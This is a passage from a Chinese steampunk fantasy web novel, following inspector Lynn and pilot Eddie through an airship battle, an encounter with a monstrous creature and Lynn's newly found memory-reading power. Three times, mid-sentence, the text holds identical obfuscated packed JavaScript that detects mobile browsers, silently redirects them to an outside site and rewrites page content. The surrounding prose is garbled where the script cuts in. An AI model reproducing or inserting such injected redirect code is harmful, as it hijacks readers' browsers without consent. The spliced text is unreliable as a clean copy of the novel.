她清了清嗓子,懒洋洋地问。 艾迪推开门,却只站在门外。 明亮的灯泡在他身后照下来,宽大的帽檐落下阴影,遮盖住艾迪的全部表情,只能看见薄薄的嘴唇。 “您一直在忙碌,或许忘记应该用餐了。” 他微笑着提醒。 “嗯。” 林恩披上外衣,“那就走吧。” 说着,她轻轻合上门。 走廊狭窄得很,艾迪主动侧身,让林恩走在前面。 不知为何,林恩对他充满了警惕,她绷紧了后背,像是蓄势待发的弓箭。 刚走出几米,飞艇忽然剧烈抖动了一下,而后猛然倾斜! 4. 飞艇(二) 林恩眼疾手快地握住扶手,几乎没费什么力气地保持了平衡。 “怎么回事?” 艾迪面色变了,如沐春风的表情总算消失,灰绿色的眼珠里闪过冷峻。 “出事了。” “……” 艾迪压根儿没意识到自己说了句废话。 他三两步冲了出去,飞快地爬上楼梯,径直冲进驾驶舱。 林恩紧随其后。 驾驶舱里乱作一团,驾驶员学徒见到艾迪走进来,就像是见到主心骨,总算是闭上嘴。 艾迪走到望远镜边,不断调试机械臂转换视角,透过飞艇安置的十余只透镜,总算得出结论: “我们遇到空匪了。” 空匪,即空域里依靠打劫获取利益的强盗,本质上与海盗没什么区别。 林恩蹙眉,“让我看看。” 艾迪挪开了位置。 不过,趁林恩查看的时候,他嘟嘟囔囔:“这群空匪胆子很大,明明我们有王室的徽章,却仍旧熟视无睹。” “或许是不信,或许是富贵险中求。” 林恩获得了大致情报,冷酷地下达命令,“看样子他们规模不大,我们放武器攻击。” ——《审查官手册》里写过,作为国民卫队的审查官,行事风格一定要干脆利落,宁可错杀也不漏过。 她正在依葫芦画瓢地执行。 白狼号行进速度减慢,与空匪的距离缩近。 武器舱打开,铁质炮击口挪出,一枚小型迫击弹冲了出去,而后重重砸在空匪飞艇的钢板上! 火弹随即炸成无数金光闪闪的碎片,随后隐没在黑夜里。 “我们的飞艇有损坏吗?”林恩放下手持望远镜,一边询问艾迪。 “还在检查。”他说,“不过,白狼号是由皇家钢铁公司铸造的,不会轻易被摧毁。” 林恩却对此感到惊慌: 真是立了好大一个flag。 说话间,一枚火弹朝他们直冲而来! 艾迪驾驶着飞艇,却仍然避让不及,火弹撞击在飞艇外壁,舱内发生剧烈的摇晃,伴随有“咔哒咔哒”的破裂声。 即便林恩对此毫无了解,也知道飞艇遭到了严重损坏。 艾迪握紧了双拳,随后将飞艇运行状态调整为“危急”。 黄铜警钟被敲响,随着钟摆的晃动,代号“909”的最高警戒钟声传播到飞艇的每一个角落——这意味着,飞艇的一切自卫都变得合理。 林恩表情严肃,“威慑的迫击炮并没有作用,这群空匪对我们虎视眈眈。” “舰炮预备——” 艾迪在传声筒里下达命令。 好在,飞艇的武器系统没有被破坏。 重型机械在若干学徒的操纵下启动,整个飞艇都在震颤,林恩只感觉自己的脑浆都要被晃匀。 她仍旧举着望远镜,目光紧紧锁着面前的小型飞艇。 即便舱体被迫击炮打出巨大的凹陷,空匪的飞艇仍旧不打算放弃。 舱体的黑色金属上,有白色油漆刷出的骷髅鸟造型,在黑洞洞的夜幕中分外显眼。 林恩默默把它记在心里。 “攻击!” 艾迪一声令下。 数十颗小型舰炮如同流星般划过,点燃了整片云层,齐刷刷直奔空匪而去! 目标被击中! 舰炮砸在空匪飞艇上,把飞艇砸出一个个巨大的深坑,破损的铁制外壳碎裂出破口。 奇怪。 林恩举着望远镜,眯眼望向飞艇。 ——这艘飞艇看上去并没有人?巨大的裂口里丁点灯光也无。 这不正常! “击中了!”学徒驾驶员喊道,表情一下子轻松愉快起来。“他们的飞艇坠落了!” 艾迪的手仍旧紧握方向盘,没有丝毫松懈。 和林恩一样,他内心也涌动着浓烈的不安。 并且,随着空匪飞艇的坠落,这种不安仍旧在加深。 “审查官,我有些疑问。”思考良久,他终于决定询问林恩。“在此之前,我想先去个地方。” 林恩被艾迪带去了武器装备室。 途中,经过厨房的时候,她顺手拿了两个面包塞进口袋。 装备室位于飞艇舱的最顶层,厚厚的铅板把整个房间密封起来,不过天花板上留着一道出口。 “你在找什么?”林恩双手抱胸,倚在门框上问。 艾迪蹲下身,从架子最底层翻找出两个大铁箱。“机械外骨骼。”他说道,“动力只够使用两个小时,但解燃眉之急是够了。” “?” “白狼号出现异常了,虽然驾驶员克莉丝已经去维修,但我高度怀疑是动力系统的问题。”艾迪说,“我们只要把空匪飞艇的动力核拆下来,就能修复。” 说话的工夫,他已经把一套衣服取了出来。 光是看外表就能猜测到,这身“机械外骨骼”的重量一定不可小觑,通身都是金属,后背还有一枚半人高的蒸汽泵,里头灌满了瓦斯。 林恩往后退了一步。 “我们?没有我们,我不去。”她摇头拒绝。 开什么玩笑,她穿越到这个世界才一两天,就要为国民卫队卖命? “审查官,白狼号如果坠毁,我们都会葬身于火海。”艾迪把衣服递过来,并不给林恩拒绝的机会。“即便你侥幸逃脱,国民卫队也一定会把你当成谋杀康纳利审查官的凶手,你会被通缉。” 他掀开第二个铁箱的盖子,一边明晃晃地威胁: “……没有人能够逃脱得了国民卫队的通缉,即便是未注册的信徒之一、‘神枪手’埃略卡也不例外。” 林恩一度有些怀疑自己的耳朵。 艾迪说的是……“信徒”? 她以为的那个信徒? 信徒还有注册和未注册之分? 艾迪的余光注视着林恩的反应。 她似乎怔愣了一秒,随后拢了把垂在额前的碎发,“我不喜欢你的威胁,但我也不想被通缉。” 林恩接过机械外骨骼,慢吞吞地学着艾迪的动作穿起来。 == 爬上飞艇舱外,整个世界都变得开阔。 远处有星星点点的灯火,点亮了一座座高耸的烟囱。 灰白相间的浓烟汹涌而出,与蓄势待发的火山相似,云层重重叠叠,都被染成焦黑色。 那是新阿尔卡迪亚最大的矿场。 “绯通亚矿场,我的邻居曾经在这里工作。”艾迪从狭窄的通道口钻出来,“我们已经飞到这里了啊……” “嗯?” 艾迪摇摇头,“这不在飞艇的航行路线上,我们已经偏离航向了。” 算了。 坏消息太多,偏离航线已经算不上什么了。 艾迪举起望远镜,“空匪的飞艇即将坠毁,我们必须在它降落之前拦截。” 他们飞艇使用的动力技术相当落后,一旦撞击到地面,会发生严重的爆炸与自燃—— 那个时候,它的动力核就没办法使用了。 他启动了机械外骨骼。 该死的。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16203961|181277||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 林恩不得不跟着跳下飞艇,笔直地冲向那艘正在坠落的“天空之船”。 带着焦臭味的夜风狠狠地刮过她的面颊,林恩逐渐能听见某种规律但高频的撞击声。 过了几秒,她才意识到,是自己的心脏在跳动。 她在害怕。 “嘭——” 林恩狠狠坠落在凹陷的飞艇上,外骨骼帮助她缓冲了绝大多数的冲击力,不过残存的疼痛感还是让她龇牙咧嘴了一会儿。 大概是撞到了腹部,林恩只觉得胃又开始疼了。 艾迪回头看她,“你怎么这么大动静?” “抱歉。”林恩说。 她无法反驳,也无法透露这是自己第一次使用外骨骼的事实。 由于舰炮的轰击,空匪飞艇的几个舱门已经凹陷,无法再被打开。 艾迪费了些力气,才在飞艇底部找到一处完好的舱门——通常情况下,这是为了运送货物而准备的。 他把“鹰爪”卡在金属接缝里,另一根安全绳则拽在林恩手中,如蜘蛛一样挂在空中,用力抠开金属钢板大门。 “快,我们抓紧。” 林恩看了眼机械外骨骼的气压计,推断出现在距离地面已不到五百米。 她咬了咬牙,翻身跳了进去。 由于启动的噪音过大,机械外骨骼被短暂关闭。 林恩解开金属面罩,喘着粗气,一边使劲摁着自己的腹部。 “我先去寻找动力舱。”艾迪抹了把汗,“你怎么了?” “我有点想要呕吐。” 林恩再一次说。这句话几乎成了她的固定台词。 “……”艾迪退后了几步,“尽量忍一忍。” 他四处张望着,又把耳朵贴近了墙壁,疑问总算是问了出来。 “你觉没觉得,这里安静得过分了吗?” 林恩克制着呕吐的欲望,一边摇头,“别管了,我们先找到我们需要的东西。来不及了。” 动力舱离这里很近。 艾迪率先推开门,一个回头却发现林恩半蹲在角落。 “你还好吗?” “呕——”林恩摆摆手,示意他赶紧进去。 她反胃了两下,从胃里吐出一团血。 定睛一看,血液中夹杂着无数细小的红色固体,像是内脏被榨汁机搅碎,但仍在扭曲蠕动。 …… 这下,林恩是彻底生理性反胃了。 “审查官,出事了。”艾迪在屋子里喊。 动力舱里,柱形动力筒边,横七竖八地躺着几具尸体。 从装扮来看,都是这艘飞艇的空匪。 他们的死相相当凄惨,褶皱的皮肤包裹着液态的“肌肉”与“脂肪”,软哒哒地瘫倒在地上。 ——就好像塑料袋装着化掉的雪糕。 “是信徒干的!”艾迪低声说,“这里有信徒?!” 他忽然环顾四周,意识到这里并不安全。 “我们赶紧撤离!” “撤离去哪里?”林恩眼疾手快地拽住他,“我们的飞艇就一定安全吗?” 艾迪的面色更难看了。 林恩说的没错,既然信徒能够悄无声息地摸上空匪的飞艇,也一定能潜入他们的。 林恩蹲下身,在其中一具尸体上划了一厘米长的口子。 破碎的人体组织混杂着鲜血,瞬间从小口中流淌而出—— 和方才的呕吐物一模一样! 她打了个寒战。 怎么回事…… 这到底是怎么回事? 5. 飞艇(三) “如果,刚刚攻击我们的并不是空匪,而是信徒——” 林恩不再关注那团血液,努力克服身体带来的呕吐欲望。 “……那么,他的目的是什么?” 艾迪盯着林恩的深褐色眼珠。 此刻,她的神色和康纳利审查官一模一样。 严肃、冷峻、睿智、又强硬。 他终于理解,康纳利审查官生前为什么这么喜欢林恩。 他们太相似了。 见艾迪不讲话,林恩便自己补全了疑问句。 “他为的就是潜入白狼号。” 她给出了一种可能性,随后看着艾迪的面色变得凝重,忽然笑了起来。 “不过或许,还有别的可能性呢。” 艾迪不解:“还有什么可能性?” “异种生物。” 林恩抛出一个更糟糕的可能性,“昨晚我就遇到了夜魔,不是吗?” 刚刚林恩回想,昨天的呕吐物和夜魔有千丝万缕的联系:黑色的粘稠液体,其实与目击者乔伊对夜魔杀人粘液的描述相当类似。 眼前的非正常死亡方式,也和林恩的“呕吐物”非常相似。 林恩足以怀疑,她的身体对异种生物有种几近诡异的敏感,甚至达到了预知的警报效果。 ——只不过,预知的方式有点难堪。 舱外忽然传来窸窸窣窣的声音! 两人瞬间停止对话,各自找到掩体,小心地躲藏起来。 门还开着。 林恩瞳孔紧缩,看向几米开外的艾迪,拿眼神提醒他。 艾迪扭头看门口,脸色瞬间煞白。 一团怪物缓慢地路过动力舱外的走廊。 林恩紧紧蜷缩着,一边捂住嘴,防止自己不小心发声。 这东西…比夜魔恶心多了! 它有成年人高,斑驳的红色肉瘤挂满了深紫色的“枝杈”,像是一串硕大的葡萄。每一颗肉瘤都在分别跳动,甩下滴滴答答的浓稠液体。 空气中残留着浓重腥臭的血腥味,几乎超越了生理接受的极限,令人作呕。 异种生物! 另一个异种生物?! 它缓慢地滑进了动力舱,在柱状动力筒前站定。 ——只要再往前一米,就能看到柱子另一边的艾迪了! 林恩的心脏像是濒死一般缓缓跳动。 扑通、 扑通。 但异种生物却站定,把身体上的肉瘤连接成一串,缓缓伸进尸体口中。 空匪的食道被强行侵入,发出“噗嗤噗嗤”的流淌声,血肉溢出来,滴滴答答落在地面上。 林恩闭起眼,也捂住耳朵。 比起死亡,她更害怕的是折磨。 一分钟后,异种生物终于意识到面前的人类均已死亡,才继续慢吞吞地滑走。 …… 屋内一片死寂,只能听见飞艇动力系统的轰鸣声。 林恩用一枚探镜检查门口的情况,确认异种生物已经远离,顺着铁制楼梯爬上二层,这才松了口气。 “你还好吗?”她转过身,询问艾迪的情况。 “……” 没人回答。 艾迪瘫倒在地面上,四肢无力地垂在身体边,像是充气倒塌的玩偶。 “喂,驾驶员艾迪!” 林恩蹲下身,被机械外骨骼武装的手狠狠拍打艾迪的面孔,直到把他扇醒。 他的脸已经红肿,但艾迪却并没有意识到。 “……我这是怎么了?” 他浑浑噩噩地开口。 林恩有了些猜想。 大概是异种生物对艾迪进行了“精神污染”。 康纳利在前往西格林郡之前,就在日记本里摘录了一段有关“异种生物”的描述: 【世界曾被古神笼罩。 祂们无法被消灭,也无法被摧毁。 …… 而残存在世间的“异种生物”,则是古神存在的证据。 直视古神、或是直视异种生物,都会造成或大或小的精神污染——疯癫、昏厥、以及死亡。】 在这段话最后,康纳利用红色墨水写下批注: 【即便是国民卫队,也没有关于异种生物的任何情报。 或许,夜魔并不存在。 夜魔源于人类最古老而强烈的情绪——恐惧,而最古老最强烈的恐惧,是对未知的恐惧*。】 不过—— “现在没空跟你说,赶紧走!”林恩催促。 精神受到严重污染的艾迪已经没办法正常行动。 他甚至忘记了如何启动机械外骨骼,整个人如软面条一样直直地从出口坠落! 林恩趴在甲板上,试图拽住艾迪,却完全赶不上他的速度。 她只能眼睁睁地看着艾迪那头灿烂的金发坠落大地,消失在夜色里。 完蛋了。 林恩下意识想。 动力核被艾迪保管,但他现在已经失踪,连带着宝贵的动力核也丢失。 她必须立刻做决定! 空匪飞艇的动力正在急剧衰减,林恩甚至能感觉到它正在一寸一寸坠落。 失重感让她出现短暂的漂浮,她立刻握紧扶手,一边盯着还在绝望运作的蒸汽炉。 三分钟后,林恩启动机械外骨骼,而后纵身从高空跳跃下去! 降落至一百米时,林恩看到了艾迪。 即便外骨骼没有启动,但自带的保险装置还是释放了降落伞,艾迪被降落伞的几根细绳拽住,飘飘荡荡地悬挂在空中。 她松了口气。 忽然,空匪飞艇在半空爆炸分解! 爆炸声,伴随着冲击波轰击而来,滚烫的热气撞击在林恩身上,把她弹至几十米开外。 林恩刚稳住身体,瞳孔又是一紧! 飞艇碎裂的铁片燃烧着从高空坠落,在冲击波的裹挟之下,像是无数滚烫的刀片朝她切割过来! 该死的。 林恩咬紧牙关,双手紧攥着操纵杆,费劲地避让如雨的铁片。 ——失策了! 离开前,在动力舱纵火的时候,她只想着炸死异种生物,却完全没想过会波及自己。 好在,铁片的速度敌不过她的反应速度,林恩稳稳地落在地面,踩在一片草地上。 土壤湿漉漉的,草叶上沾着露水,空气中飘着鸡屎味,大约是某个农场。 林恩快步往前,四处寻找着艾迪。 她必须要找到动力核! == 艾迪摔在溪水边。 降落伞缓缓飘落,如巨大的毯子,把他轻柔地覆盖住。 鼻子狠狠摁进软烂的泥土里,让艾迪无法正常呼吸,不得不清醒。 他活过来了? 艾迪掏了掏口袋。动力核被完好无损地锁在他的衣服里,算是不幸中的万幸。 他仰起头,寻找着他们的飞艇,却只看到一片寂静的天与沉落的云。 云正在发光。 天要亮了。 他用刀划断了绳索,深一脚浅一脚地踩在树林里。 这时,艾迪看见前方有光。 “嘿!” 是林恩。 “你还活着呢?让我好一顿找。” 她说着,从口袋里掏出被压得扁扁的面包,塞在他嘴里。 “补充点体力,我们还要赶路。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16203962|181277||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>艾迪避让不及,被塞了一嘴面包。 他被迫咀嚼着,一边看着面前神采奕奕的审查官,感叹她天生的好精力。 简直是为了国民卫队而生。 “哦,对。”他嚼了几下,终于想起正事,从口袋里掏出动力核。“我们去追白狼号吧。” 林恩低头看了一眼,而后摇了摇头。 “你丢了吧,来不及了。”她说着,手做凉棚四处望了望,“距离落地已经过了一个小时了。” “……” 艾迪攥住手心。 是他的错…… 如果他没有昏迷,一切都还有挽救的机会! 林恩已打起退堂鼓。 “所以,我们不如分道扬镳,我去做我的通缉犯算了。”林恩一脚迈在腐烂的木枝上,把它踩成两截泄愤,“老师死了,查理也死了,现在飞艇都没了,我就算回了王都也是死路一条。” 什么天崩开局! 新手体验感极差! 林恩愤恨地思考时,艾迪的脚步却停了。 “如果没有伪造的身份,你连普通城镇都进不去。”他一本正经地说。“我不建议你做通缉犯。” 林恩无奈地看着他,忽然觉得艾迪很像分配给新手的引导NPC。 仔细想想,艾迪其实无意中透露了不少基本信息,尽管他说这些话的时候,都用了一种慈爱老父亲的口吻。 “算了,我投降。”林恩面无表情地说道,决定不再和艾迪开玩笑。 艾迪面孔上露出一丝笑意,随后看了眼指北针。 “跟我来吧,我们到巨龙镇了。” == “白狼号”同样被爆炸的冲击波干扰,舱体剧烈地晃动了几下。 驾驶员学徒带着哭腔。 “找不到艾迪了,我们怎么办?” 他慌乱地控制着操作台,学习的知识已经彻底遗忘。 驾驶员克莉丝推门而入。 她得到了艾迪失联的消息,急匆匆从动力舱赶了过来,跑出一身汗。 “闭嘴,要哭就躲在房间里哭。” 一边说着,她一边扯了块毛巾,擦拭在动力舱沾到的厚厚一层机油,又走到立式望远镜边,蹙眉四处观察着。 “我们已经到龙骸郡了。”须臾之后她作出决定,“准备迫降特拉尔湖。” 克莉丝下达了命令。 “可是——” “什么可是?” 听见反驳的声音,克莉丝的眼刀瞬间抛了过去,“你有什么见解吗,爱哭鬼?” 学徒驾驶员唯唯诺诺地摇头。 即便真的有反驳,现在也完全不敢了。 “按我的命令来,所有人准备。”克莉丝把学徒推开,叉腿站在操作台前,目光炯炯。 “驾驶员,信鸽已经拿过来了。”跑腿学徒在一边说道,“需要现在送出去吗?” “念一遍。”克莉丝分心瞥了他一眼,说道。 “首席审查官大人,白狼号将迫降于特拉尔湖,望支援。”学徒一字一句地念着,又抬头询问,“需要加上驾驶员艾迪和审查官林恩失踪的消息吗?” 克莉丝盯着舷窗。 在惹怒国民卫队和出卖艾迪之间,她犹豫了片刻,随后掏出一根笔。 “把字条给我。” 学徒照做。 【艾迪与林恩意外坠落,暂时失联。】 克莉丝添上这一笔,想了想又加了一句【希望援助。】 “好了,你把鸽子放出去吧。” 她把纸条卷了卷,塞进机械信鸽肚子里,又吩咐下去。 从现在起,她不能再分神了。 特拉尔湖已近在眼前。 7. 信徒 治安官伍德拔出匕首。 刀柄没有一滴血液,林恩流淌的血完全被蓝色晶石吮吸进去。 他把匕首塞回腰间,静静注视着趴在晶石上林恩,忍不住露出嘲讽的笑。 ——自以为获得了力量就能撼动苍天,未曾想自己只是蝼蚁。 见惯了林恩这一类人的伍德暗自心想着,目光随之在四根大理石立柱上缓缓移动,试图寻找些什么。 与此同时,折射出的光芒忽然大盛! 一道夺目的光柱如闪电般劈下,直直打在林恩身上,似乎带着沉重的力量,直接把她唤醒。 林恩眯起眼,双眸勉强睁开一道缝隙,便看见那道光经由晶石的折射,打在身侧的立柱上。 上面…似乎刻着字? 这是—— 康纳利日记本上的未知文字! 林恩浑身一颤,声音也因激动而发抖。 “治安官,这上面刻着的是什么文字?” 伍德收回视线,往林恩身上瞟了一眼,又言简意赅地解释道:“这是神谕文,四根柱子分别刻着女神的四种启示。” 他伸出手指,引导林恩的视线。 “真理。” “存在。” “混沌。” 说到第四根时,伍德着重强调了一番: “这是女神给你的启示:永恒。” 启示? 永恒? 林恩皱了皱眉,意识到信徒没有她想的那样一蹴而就。 “我们会把每一个启示称为‘启示树’。”见林恩蹙眉困扰,伍德这才解释起来。 他很少“拉人入伙”,因此解释得磕磕绊绊。 “…信徒就像是启示树上的一只蚂蚁,缓慢地由枝杈往树干爬行。” 林恩期待地望着他,等待伍德紧随其后的解释,却没料到科普戛然而止了。 伍德抿唇,挠了挠头,显然有些为难,“不瞒你说,尽管巨龙镇信仰女神,但我却是镇上的第一个信徒。当年,还是康纳利带领我走上这条路的。” “我的老师?康纳利?” “没错,就是他。”伍德叹了口气,“当时我被恶灵之水侵染、奄奄一息时,是康纳利把我带到女神祭坛前,强行把我变成信徒,才勉强保住我这条性命。” 他深吸一口气,又用力地吐出来,紧接着说: “康纳利只跟我介绍了大致的情况,又建议我来龙骸郡,就没说别的什么。等我痊愈之后再度寻找救命恩人,才得知他早已离开黑桥郡了。” 伍德最后苦笑一声,“直到现在,我还维持于低级信徒的状态,不知道如何进阶,也不确定我的能力。” 所以,伍德并不是不愿意透露与信徒相关的内容,而是他自己的信息量也极低? 林恩沉思片刻,又问道,“所以,我能知道你是哪棵启示树的吗?” “真理。我属于真理。”这一次,伍德语气笃定,“我的异能大概是——能看出别人是否在撒谎。” 他讪笑一下,“你一旦说谎,周身就围绕着一股浓黑色的雾气,反之则是白色的。” “真理……谎言识别……”林恩低声呢喃。 谎言、真言与“真理”,的确存在千丝万缕的关系。 所以,“永恒”意味着什么? 属于她的异能,又是什么? == 从神殿走出来,守卫仍旧在门外等着。 “治安官,您现在返回吗?”他询问道。 “不了,把审查官送回去就行。”伍德看了他一眼,恢复原本的冷酷态度,“这几天,你可以听她的调遣。” “好。” 守卫偷偷看了眼林恩,又恭敬地点点头,把她送上了车。 等到驶离原地,守卫才悄悄说: “审查官,趁你们进去的时候,我又重新把那枚金塔拉捡回来了!” 他从上衣口袋里掏出金币的边缘,又猛地塞回去,“顺便说一下,我叫帕里。” 林恩勾了勾唇。 “既然如此,我就不奖励你另一枚金塔拉了。” “早知道我应该不告诉您的。”他嘟囔着,面孔上却没有露出多大的遗憾。 今天能有一塔拉的收入,他已经很知足了。 插科打诨了一通之后,林恩才开始梳理自己的思路。 尽管并不完全得偿所愿,但她今天也算得上收获颇丰: 一,她获得了女神的启示,变成了“永恒树”上的信徒; 二,信徒的异能有等级高下之分,但提升等级的方法未明; 三,康纳利日记本上的文字,是女神的“神谕”文; 四,世界上不只有一处“神殿”。 梳理完思绪之后,林恩才绝望地意识到,虽然收获不小,但一个能用得上的都没有。 就好像上天给了你一笔看不见摸不着的财富,却笃定你是富豪,让人抓耳挠腮般难受。 同时,这也没能解释,林恩为什么一遇到异种生物,就会呕吐出一团与异种生物相关的粘液。 苦恼一闪而过,马车忽然狠狠颠簸了一下! 就像是被什么东西绊到了。 分神的林恩没扶稳扶手,脑袋一下子撞在车壁上。 “砰!” “您还好吧?”守卫帕里听到了响声赶紧问道,又停下车,拿木棍试探性地戳了戳地面。 林恩揉着脑门跳下车。 “应该有个硬石。”守卫帕里拿脚尖在地上刨坑,很快就找到一块柱形的、被黄土与污泥包裹严实的硬物。 他拾了起来,面容忽然变得惊疑。 “怎么了?”林恩观察到他的神情,目光又扭回圆柱,忽然萌生出一个荒谬的想法。 这总不能—— 帕里已经用小刀把表面硬壳般的尘土削去,又在地上踩了几下,土砾簌簌落回地面,那圆柱总算是露出全貌。 “这是人骨!” 帕里惊呼,瞬间把骨头丢到林恩怀里。 措手不及的林恩:“……” 接收到林恩的死亡视线,帕里这才讪笑道,“审查官,你为什么不搜查一下这个呢?说不定是恐怖的杀人案。” “那我直接交给治安官会更合适一些。” 见林恩不为所动,守卫的眼珠飞快地滑动了一下,又换了个解释,“不管了,审查官,我们重新出发吧。” 说话间,已把林恩推搡上马车。 重新启程,林恩盯着这根被风沙磨蚀的骨头,忽然有些不知所措。 骨头很细、也很短,看上去像是…曾经属于一个孩子。 ——如果能知道骨头的主人发生过什么就好了。 林恩忍不住心想。 下一秒,大脑神经像是被针尖拖拽,产生一种抽搐的痛感! 林恩捂住脑袋,随后,不属于她的记忆碎片一粒一粒出现在大脑里,雪花似的纷纷落下: “她”在飓风来临之前,把晾晒的草药赶紧搬回屋子里,却仍旧被吹走了三分之一; “她”在黄土里播种一粒一粒金黄色的圆种子; “她”连滚带爬地逃跑、月光把影子投射成灰金色。但随后她脚步被松软的沙子绊倒,整个人顺着沙丘滚落,埋进还残存着白日热度的沙子里! 记忆终止。 林恩捂着太阳穴,大口大口地喘着粗气 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16203964|181277||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,豆大的汗珠顺着后颈流淌下去,在她的脊柱上缓缓变凉。 头太疼了! 大脑像是被打发的鸡蛋,搅成一滩软绵绵的汁水,完全没办法继续思考。 记忆…… 这是别人的记忆! 或许是这根胫骨主人的,林恩想着,顺手把胫骨放在地上。 闪回的记忆碎片瞬间消失。 林恩已经基本确定,“记忆搜查”就是她作为信徒的异能。 而获得记忆的途径为“接触”。 不过,她尚且没搞明白“记忆”与“永恒”之间的关联。 “审查官,审查官!” 守卫帕里在外面呼喊,直接撕裂林恩的胡思乱想。 “我们已经到达紫罗兰旅店了,您还要去什么地方吗?” “唔,不用了。” 林恩跳下马车,守卫帕里殷勤地托了她的胳膊一把。 烟花般的记忆瞬间灌进她脆弱的神经! 帕里和母亲的对话… 帕里看向面包店老板的爱慕的眼神… 以及帕里在守卫队的辛苦训练与站岗…… 不! 头太痛了! 停下来、停下来! 林恩眼前一黑,瞬间跪在地上。 “您还好吧?”帕里脸色一白,急匆匆地询问道。 他也不知道发生了什么,审查官原先还好端端的,却说晕就晕了,直把他吓一跳! “不要扶我!” 林恩厉声阻止,又瞬间意识到自己反应过度,语气也软了下来。“没事,你不用担心,直接回去吧。” “可是——” “没有可是,这是长官的命令。”林恩强硬地下了命令。 她快撑不下去了。 “发生什么了?”一觉睡醒的艾迪从紫罗兰旅店里走出来。 目光所及,是一片混乱的场景: 审查官林恩身着便服坐在地上,面颊苍白如纸; 一脸慌乱的守卫连忙摆手,示意一切与他无关; 周围还围着一圈看热闹的群众,七嘴八舌地讨论着“伤者”的情况。 “啊,是你!”守卫像是看到主心骨,连忙跑过来,“快,把审查官带进去吧,她好像身体不舒服。” “不,别碰我……”气若游丝的林恩说着,但微弱的声音并没有传入艾迪耳朵。 他蹲下身,一把抱起林恩! 意料之内的痛觉并没有出现。 那些琐碎杂乱的记忆,也同样消失。 嗯? 异能被她暂停成功了? 林恩回忆起,她似乎让自己的异能“停下来、停下来”。 竟然轻而易举地成功了? 艾迪把林恩抱回旅店的小床上。 “你大概是累了,一晚上没睡。”他叹了口气,正准备帮林恩盖上被子,目光却忽然集中在林恩的左手手掌。 在那里,有一道深深的伤疤。 他的瞳孔晃动了几下,又抓起林恩的手检查。 的确,一道巨大的贯穿伤,形状狭长,大概是一把尖利的匕首。 她什么时候伤到自己的? 从飞艇上降落的时候吗? 艾迪深吸一口气,正准备开口,却发现林恩已经睡着。 ……算了。 她应当休息了。 艾迪问前台借了医药箱,帮助林恩简易包扎了一下,又敷上当地采摘的、据说对创口有奇效的草药。 睡梦中的林恩似乎感觉到疼痛,眉心皱了皱。 “睡吧,审查官。说不定没多久,我们就得回碎金城了。” 他低喃。 8. 国王晨会 一到八点,首席审查官阿曼达·德·波尔就立刻抬头看向喧闹的月形自鸣钟。 光是看她的外表,完全看不出她只睡了两三个小时: 侍女把她的金棕色头发一丝不苟地梳在脑后,又稳稳地压上审查官的军帽。 双眼底下的暗青色黑眼圈,也被肉粉色的粉底膏遮盖住。 阿曼达的视线越过宽大的会议桌,与对面的陆军元帅辛迪·伊迪丝对视,随后又悄无声息地挪开。 齿轮发出“咔哒咔哒”的细微声响,桃花心木大门缓缓打开,刷上金粉的繁复雕花门洞内,国王穿着藏青色军装便服,视线如鹰隼般紧盯会议室之内。 这副不怒自威的模样有些骇人,阿曼达立刻低下头,望向木桌上的一处节疤。 “都坐下吧。”国王在主位落座,目光一一掠过众人,随后开口,“有什么要汇报的吗?” 阿曼达的军靴勾住凳脚,把椅子拉近。 还没坐下,她就听见空军元帅格林清了清嗓子。 他的声道发颤,发出黏稠浓郁的怪音。 “既然审查官不汇报,那我就先说几句吧。” 这位面若瘦狐、精明老练的矮个子男人一张嘴,矛头就直指阿曼达及她背后的国民卫队。 “昨夜,国民卫队的‘白狼号’飞艇发出求救信号,最终坠毁于龙骸郡。这不仅仅是国民卫队的灾祸,更是国王您的损失!” 这狗东西! 阿曼达来不及发怒,也来不及指责格林。 国王的质问先一步到来。 “怎么回事,波尔?”国王厉声呵道,“格林不问,你就打算瞒着我?” “不是的,国王陛下。”阿曼达抿唇,从文件夹里取出一张纸,“这是我打算提交的情况说明与处理方案,请您过目!” 她的视线瞥了一眼空军元帅格林,“陛下,对我们国民卫队来说,重要的并不仅是调查国王您的损失,还有保护国民的安全、保护王国的安全。我们下一步,会努力搜救飞艇的幸存者,并努力查清真相!” 国王从女官手里接过文件,一目十行地阅读起来,眉头仍旧紧锁。 见状,格林大义凛然地开了口。 “白狼号上,可都是你们国民卫队的人,真相会是真相吗?即便你做了手脚,我们也无从得知。” 格林想插手国民卫队的野心足够显眼,再一次惹恼了首席审查官。 阿曼达终于把矛头指向格林。 “元帅,我还有几点疑惑,麻烦您解答一下。” “请说。” “为什么有关白狼号的讯息,您比我们国民卫队还要清楚?”阿曼达呵道,“就我所知,白狼号只是发送了一封求救信。怎么在你嘴里,就变成‘坠毁’了呢?” 